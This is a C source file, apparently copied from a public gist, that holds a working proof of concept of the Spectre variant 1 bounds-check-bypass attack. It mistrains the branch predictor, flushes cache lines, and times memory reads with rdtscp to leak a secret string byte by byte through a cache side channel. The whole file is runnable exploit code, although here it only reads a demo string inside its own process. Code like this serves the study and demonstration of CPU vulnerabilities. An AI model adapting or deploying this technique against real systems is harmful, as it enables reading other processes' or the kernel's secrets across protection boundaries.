// source: https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <x86intrin.h>
#include <string.h>

// how much the memory locations touched as a function of x are apart
#define SPREAD 32

#define MAX_TRIES 1024

/********************************************************************
Victim code.
********************************************************************/
unsigned int size = 16;
uint8_t indices[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t channel[256 * SPREAD];

char *secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x)
{
	if (x < size)
		temp &= channel[indices[x] * SPREAD];
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD 80 /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2])
{
	static int results[256];
	int tries, i, j, k, mix_i, junk = 0;
	size_t training_x, x;
	register uint64_t time1, time2;
	volatile uint8_t *addr;

	for (i = 0; i < 256; i++) results[i] = 0;

	for (tries = MAX_TRIES; tries > 0; tries--)
	{
		/* Flush channel from cache */
		for (i = 0; i < 256; i++)
			_mm_clflush(&channel[i * SPREAD]);

		/* 30 loops: 5 training runs (x=training_x) per attack run
				(x=malicious_x) */
		training_x = tries % size;
		for (j = 29; j >= 0; j--)
		{
			_mm_clflush(&size);

			/* Delay (can also mfence) */
			for (volatile int z = 0; z < 200; z++);

			/* Bit twiddling to set x=training_x if j%6!=0 or
				malicious_x if j%6==0; avoid jumps in case
				those tip off the branch predictor */
			x = ((j % 6) - 1) & ~0xFFFF;
			/* Set x=FFF.FF0000 if j%6==0, else x=0 */
			x = (x | (x >> 16));
			/* Set x=-1 if j&6=0, else x=0 */
			x = training_x ^ (x & (malicious_x ^ training_x));

			/* Call the victim! */
			victim_function(x);
		}

		/* Time reads. Order is lightly mixed up to prevent
			stride prediction */
		for (i = 0; i < 256; i++)
		{
			mix_i = ((i * 167) + 13 + tries) & 255;
			addr = &channel[mix_i * SPREAD];

			/* READ TIMER */
			time1 = __rdtscp(&junk);

			junk = *addr; /* MEMORY ACCESS TO TIME */

			/* READ TIMER & COMPUTE ELAPSED TIME */
			time2 = __rdtscp(&junk) - time1;

			/* if cache hit, add +1 to score for this value */
			if (time2 <= CACHE_HIT_THRESHOLD &&
					mix_i != indices[training_x])
				results[mix_i]++;
		}
		/* Locate highest & second-highest results results tallies
			in j and k */
		j = k = -1;
		for (i = size; i < 256; i++)
		{
			if (j < 0 || results[i] >= results[j])
				{ k = j; j = i; }
			else if (k < 0 || results[i] >= results[k])
				{ k = i; }
		}

		/* Clear success if best is > 2*runner-up + 5 or 2/0) */
		if (results[j] >= (2 * results[k] + 5)
			|| (results[j] == 2 && results[k] == 0))
		break;
	}

	results[0] ^= junk; /* use junk so code above won’t get optimized out*/
	value[0] = (uint8_t)j;
	score[0] = results[j];
	value[1] = (uint8_t)k;
	score[1] = results[k];
}

int main(int argc, const char **argv)
{
	/* defaults for malicious_x and len */
	size_t malicious_x = (size_t)(secret-(char*)indices);
	int len = strlen(secret);

	int i, score[2];
	uint8_t value[2];

	/* write to channel so in RAM not copy-on-write zero pages */
	for (i = 0; i < sizeof(channel); i++) channel[i] = 1;

	int total = len;
	printf("Reading %d bytes:\n", len);
	while (--len >= 0)
	{
		printf("byte no %2d: ",total-len);

		readMemoryByte(malicious_x++, value, score);

		printf("%s: ",(score[0] >= 2*score[1] ? "Success" : "Unclear"));
		printf("0x%02x=’%c’ score=%d", value[0],
			(value[0] > 31 && value[0] < 127 ? value[0] : '?'),
			score[0]);
		if (score[1] > 0)
			printf("\t(2nd: 0x%02x score=%d)",
					value[1], score[1]);
		printf("\n");
	}

	return 0;
}
